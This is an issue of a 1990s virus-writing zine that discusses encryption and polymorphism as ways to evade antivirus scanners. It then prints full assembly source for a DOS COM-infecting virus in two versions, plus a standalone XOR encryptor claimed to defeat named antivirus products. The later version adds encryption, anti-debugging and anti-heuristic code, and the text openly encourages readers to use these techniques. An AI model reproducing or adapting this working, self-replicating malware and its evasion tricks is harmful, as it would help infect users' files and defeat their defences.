-| Source of Kaos |- -| Of Encryption and Mutation |- Since almost the beginning of dawn in the age of the virus writers vs the av company wars there have been 3 types of viruses. These three basic types of viruses could be classified as follow: Not-Encypted nor PolyMorphic Encrypted PolyMorphic Two of the three types can be mixed together while the third is pretty much exclussive of all else. Each of these three is like any medication, it has it's advantages, plus it's adverse side effects. It is can be said that this war is very similar to a game of chess. The virus writers always on the offensinve and the AV companys always on the deffensive. A virus that is neither polymorphic nor encrypted is usually the first stage of virus writing. This type of virus has several rather major advantages with just a couple of adverse side effects. A virus that is stripped down to this level is usually small and easy to write. Thus size and ease of writing are it's advantages. The first problem with this virus is that anybody can look at whats inside the virus/infected program itself. It didn't take virus companys long to learn how to scan for certain ascii text (ie Eddie lives) inside of files. This method of scanning quickly gobbles up any non-encrypted virus once the av companys get a sample of this virus. By encrypting a virus, you prevent the quick casual scan of the virus /file for ascii text since the text will now be scrambled into something that no longer makes any sense. If you look at the end of this article you will find a sample of a basic parasitic non-tsr com infector. Viruses that encrypt themselves with a different encryption key every generation are a much better choice than a non-encrypting virus. Self- encryption by itself has an advantage in that it isn't easiable text scannable. Along with the fact that depending on the type of encryption employed it can be easy to write and relatively small. Problems that arise from using an encryption routine that is to easy figure out (such as the plain XOR) is that it doesnt take AV companys long to un-ravel your code. Another problem arising with encryption is that the AV companys soon learn to recognize the de-cryption routine itstelf and thus use it as a scan sequence. Case in point is the encrytion routine used in the Leprosy virus and TBAV softwareh. By using a decryption code as scan string AV companys may be opening themselves up for someone using this information against them. Following the 1st piece of sample code at the bottom is the same virus with a basic encrypion routine written into it. Viruses writers again went on the offensive and came up with mutating code or polymorphic code. Or in simple terms code that changes every time the virus infects a file. I don't think that this method is ever employed by itself, since it wouldnt take long for the AV companys to figure this out. I would think that the only time this does occur by itself is if someone writing a virus wants to check the results of thier code without having to go through much work. When polymorphic code is included with a good encryption scheme you can keep the AV companies busy for a long time before they figure out how to scan for a virus. This longevity of a virus before it is scannable and thus cureable has a trad-off. This trade off being that a polymorphic virus is probably the most difficult of the 3 types of viruses to write. Possibley the most telling side effect is the increase in effective size of the virus itself. Hopefully in the first full release of this zine, a full series of viruses will be available for study, taking you from stripped down to encrypted and polymorphic. When I first became aware of a viruses, the MuTation Engine or MTE (included with this issue of SOK) had just started to surface in the virus community. An engine has some very immediate positive effects wich in the short term are good. It will allow you to let someone else do all the hard work developing the encryption and decryption code. It allows you to spend more time developing other factors in your virus. The major downfall of this or any mutation engine is that it provides the AV companys with plenty of samples of the engine and believe it or not they dont take to long to find a way to scan and pickup that engine. For this reason most advanced virus writers develop thier own mutation code for each virus they write. This has the distinct advantage that even if you convert your mutation code into a linkable module for inclusion into your own viruses in that the AV companys arent flooded with samples of your virus and you can easily customize the module to prevent any easy method of detection. The MTE program was advanced for it's time, but compared to todays encryption and polymorphic programs it is a simple piece of work =============================CUT HERE======================================== Put Frank N Stein 2.0 here ;************************************************************************ ; ; Frank N. Steins Monster ; ; Parasitic non-tsr com-infector .. mild file stealth ; infects 6 files ; ; ;************************************************************************| .model tiny .code org 100h start: jmp virus nop nop oldjmp db 0cdh ; int 20h newjmp db 20h db 90h ; nop id db 0FAh ; infection marker virus: call delta ; get delta offset delta: mov di,sp mov bp,ss:[di] sub bp, offset delta ; adjust delta offset lea si,[bp+oldjmp] ; original starting mov cx,4 ; move four bytes mov ax,100h-1 inc ax xchg di,ax cld ; clear direction flag rep movsb ; move the bytes mov ah,1Ah ; set dta lea dx,[bp+dta] ; set into heap int 21h mov byte ptr [bp+offset counter],0 ; reset counter mov ah,4Eh ; find first asciiz file lea si,[bp+dta+1eh] ; points to fname in dta mov byte ptr [fspec+bp],'*' ; change fspec from z.com to *.com lea dx,[bp+fspec] ; files to find (*.COM) push dx ; save file spec jmp short findfiles returntohost: mov ah,1Ah ; set dta mov dx,80h ; to original position int 21h mov sp,0FFFEh ; adjust stack pointer mov bp,100h-1 ; return to here inc bp jmp bp closeup: or bx,bx ; is handle 0? jz findnext ; yup so don't bother closing call file_stealth findnext: mov ah,4Fh ; find next file findfiles: pop dx ; get filespec push dx mov cx,7 ; all attributes xor bx,bx ; make sure no handle int 21h jnc infect ; jump if file found jmp returntohost3 ; no files found then quit vname db 'F.N.S. Monster 2.0' ; Who am I ? infect: mov byte ptr [fspec+bp],'Z' ; return fspec to Z.COM mov dx,si ; dx => fname in dta mov ax,3D02h ; open file read/write int 21h jc closeup ; if error close up, get another xchg ax,bx ; handle to bx mov ah,3Fh ; read from file mov cx,4 ; four bytes lea dx,[bp+oldjmp] ; save here int 21h mov ax,word ptr [bp+dta+23h]; get end of filename cmp ax,444Eh ; is file command.com? je closeup ; yup so leave it cmp [bp+id],1 ; is file infected? je closeup ; yup so leave it mov ax,word ptr [bp+dta+1ah]; get file size cmp ax,340 ; is file smaller than 315? jle closeup ; if it is leave it mov ax,4202h ; file pointer to end cwd xor cx,cx int 21h cmp ax,64768 ; is file to big to infect ja closeup ; if above then jump mov [bp+data],ax ; save file size lea dx,[bp+oldjmp] ; buffer to write from mov cx,4 ; 4 bytes mov ah,40h ; write oldjmp to end of file int 21h lea dx,[bp+virus] ; start of virus mov cx,[offset almost-start] ; write virus to end mov ah,40h ; write to file int 21h mov ax,4200h ; file pointer to start cwd xor cx,cx int 21h mov ax,[bp+data] ; get the file size inc ax ; increment the file size mov word ptr [bp+newjmp],ax ; save the new jump mov [bp+oldjmp],0E9h ; new jump mov [bp+id],1 ; infection marker lea dx,[bp+oldjmp] ; new jump mov ah,40h ; write new start mov cx,4 ; four bytes int 21h jmp closeup ; close current file file_stealth: mov ax,5701h ; set files date/time mov cx,word ptr [bp+dta+16h]; get original time mov dx,word ptr [bp+dta+18h]; get original date int 21h mov ah,3Eh ; close file int 21h xor bx,bx ; delete handle inc [bp+counter] cmp [bp+counter],6 ; have 6 files been infected? jae returntohost3 ; yup so return to host retn returntohost3: jmp returntohost fspec db 'Z.COM',0 ; files to find ; Z used to fool av scanners almost: counter db 0 ; holds file counter dta db 43 dup (0) ; holds dta data dw 0 ; holds new jump offset fini: end start =============================CUT HERE========================================. ; The following piece of code goes to show that it doesnt have to be ; complicated to work ; ; ; Here's a fun little encryptor that foils AVP (04-96), F-Prot 2.22 and ; TBScan 7.00. It's VERY simple, yet encrypt ANY virus with it, and that ; virus will not be seen beyond Gen1 :) ; ; Have phun PG -< name changed to protect the possibly innocent >- ; encr: mov dx, sp cli mov sp, vir_start mov cx, (vir_end - vir_start) / 2 + 1 loop_: pop bx xor bx, encr_val ; calc encr_val at time of infection. push bx pop bx ; any register can be used. ; or add sp, 2 ; or inc sp inc sp ; or be creative :) loop loop_ vir_start: ; This will be encrypted :) mov sp, dx sti ; virus goes here :) vir_end: ; end of encrypted part =============================CUT HERE======================================== ;************************************************************************| ; ; Frank N. Steins Monster 3.0beta ; This virus is work in progress, as I fix the bugs the updated source will ; be released. ; ; Parasitic non-tsr com-infector .. mild file stealth ; infects 6 files ; ; The 3.x series of this virus are only found in SOK ; ; v3.0 This is what the virus looks like with anencryption routine. ; XOR routine courtesy of Tornado of DC along with the anti-debug stuff. ; ; A small side note here, if you happen to be using TBAV v7.0 for win95 and ; you scan this it wont find it.. if you put all the anti-debug stuff in ; tbav will find it.. the dos version sees this with or without all the ; anti debug in it.. ; Effective Length 341 bytes ; ;************************************************************************| ; Tornado: I added an XOR routine. ; To get rid of the FLAGS u could ; use some of the following idea's: ; -> anti-heuristic ; -> anti-debugging ;**************************************************************************** ; Anti-Debugging: // will give some probs to TBclean :) ; _2nd_anti_debug: ; int 03h ; mov word ptr ds:[bp+offset anti_debug],020cdh ; mov word ptr ds:[bp+offset anti_debug],051bh ; int 16h ; _1st_anti_debug: ; mov cx,09ebh ; mov ax,0fe05h ; jmp $-2 ; add ah,03bh ; jmp $-10 ; int 21h ; _garbage_4_av: ; mov cx,16ech ; mov ax,6fe4h ; int 21h ; mov cx,01dbh ; mov ax,7ff4h ; int 21h ;**************************************************************************** ; Anti-Heuristic ; call $+3 ; another way of getting the delta offset! ; pop bp ; sub bp,offset - 1 ; jmp $+2 ; use int 03h / int 01h etc. ;**************************************************************************** ; My comment's: ; nice trick with z.com -> *.com :) ; In non-tsr it's very good to have an ; infection counter, so we dont ; get detected when infection a large dir with com's..... ; TorNado/DC ;**************************************************************************** .model tiny .code org 100h start: jmp virus nop nop oldjmp db 0cdh ; int 20h newjmp db 20h db 90h ; nop id db 0FAh ; infection marker virus: call delta ; get delta offset delta: mov di,sp mov bp,ss:[di] sub bp, offset delta ; adjust delta offset call decrypt jmp short begin begin: lea si,[bp+oldjmp] ; original starting mov cx,4 ; move four bytes mov ax,100h-1 inc ax xchg di,ax cld ; clear direction flag rep movsb ; move the bytes mov ah,1Ah ; set dta lea dx,[bp+dta] ; set into heap int 21h mov byte ptr [bp+offset counter],0 ; reset counter mov ah,4Eh ; find first asciiz file lea si,[bp+dta+1eh] ; points to fname in dta mov byte ptr [fspec+bp],'*' ; change fspec from z.com to *.com lea dx,[bp+fspec] ; files to find (*.COM) push dx ; save file spec jmp short findfiles returntohost: mov ah,1Ah ; set dta mov dx,80h ; to original position int 21h mov sp,0FFFEh ; adjust stack pointer mov bp,100h-1 ; return to here inc bp jmp bp closeup: or bx,bx ; is handle 0? jz findnext ; yup so don't bother closing call file_stealth findnext: mov ah,4Fh ; find next file findfiles: pop dx ; get filespec push dx mov cx,7 ; all attributes xor bx,bx ; make sure no handle int 21h jnc infect ; jump if file found jmp returntohost3 ; no files found then quit vname db 'F.N.S. Monster 3.0' ; Who am I ? infect: mov byte ptr [fspec+bp],'Z' ; return fspec to Z.COM mov dx,si ; dx => fname in dta mov ax,3D02h ; open file read/write int 21h jc closeup ; if error close up, get another xchg ax,bx ; handle to bx mov ah,3Fh ; read from file mov cx,4 ; four bytes lea dx,[bp+oldjmp] ; save here int 21h mov ax,word ptr [bp+dta+23h]; get end of filename cmp ax,444Eh ; is file command.com? je closeup ; yup so leave it cmp [bp+id],1 ; is file infected? je closeup ; yup so leave it mov ax,word ptr [bp+dta+1ah]; get file size cmp ax,340 ; is file smaller than 315? jle closeup ; if it is leave it mov ax,4202h ; file pointer to end cwd xor cx,cx int 21h cmp ax,64768 ; is file to big to infect ja closeup ; if above then jump mov [bp+data],ax ; save file size lea dx,[bp+oldjmp] ; buffer to write from mov cx,4 ; 4 bytes mov ah,40h ; write oldjmp to end of file int 21h mov ah,2ch int 21h mov word ptr [bp+cryptval],dx call write_virus mov ax,4200h ; file pointer to start cwd xor cx,cx int 21h mov ax,[bp+data] ; get the file size inc ax ; increment the file size mov word ptr [bp+newjmp],ax ; save the new jump mov [bp+oldjmp],0E9h ; new jump mov [bp+id],1 ; infection marker lea dx,[bp+oldjmp] ; new jump mov ah,40h ; write new start mov cx,4 ; four bytes int 21h jmp closeup ; close current file file_stealth: mov ax,5701h ; set files date/time mov cx,word ptr [bp+dta+16h]; get original time mov dx,word ptr [bp+dta+18h]; get original date int 21h mov ah,3Eh ; close file int 21h xor bx,bx ; delete handle inc [bp+counter] cmp [bp+counter],6 ; have 6 files been infected? jae returntohost3 ; yup so return to host retn returntohost3: jmp returntohost fspec db 'Z.COM',0 ; files to find ; Z used to fool av scanners decrypt: encrypt:mov dx,word ptr [bp+cryptval] lea si,[bp+begin] mov cx,(decrypt-begin+1)/2 xor_word: xor word ptr [si],dx ; encrypt all of the code! inc si inc si loop xor_word ret write_virus: call encrypt ; encrypt virus lea dx,[bp+virus] ; start of virus mov cx,[offset almost-start]; write virus (283) to end mov ah,40h ; write to file int 21h call decrypt ; decrypt virus again ret cryptval dw 0 almost: counter db 0 ; holds file counter dta db 43 dup (0) ; holds dta data dw 0 ; holds new jump offset fini: end start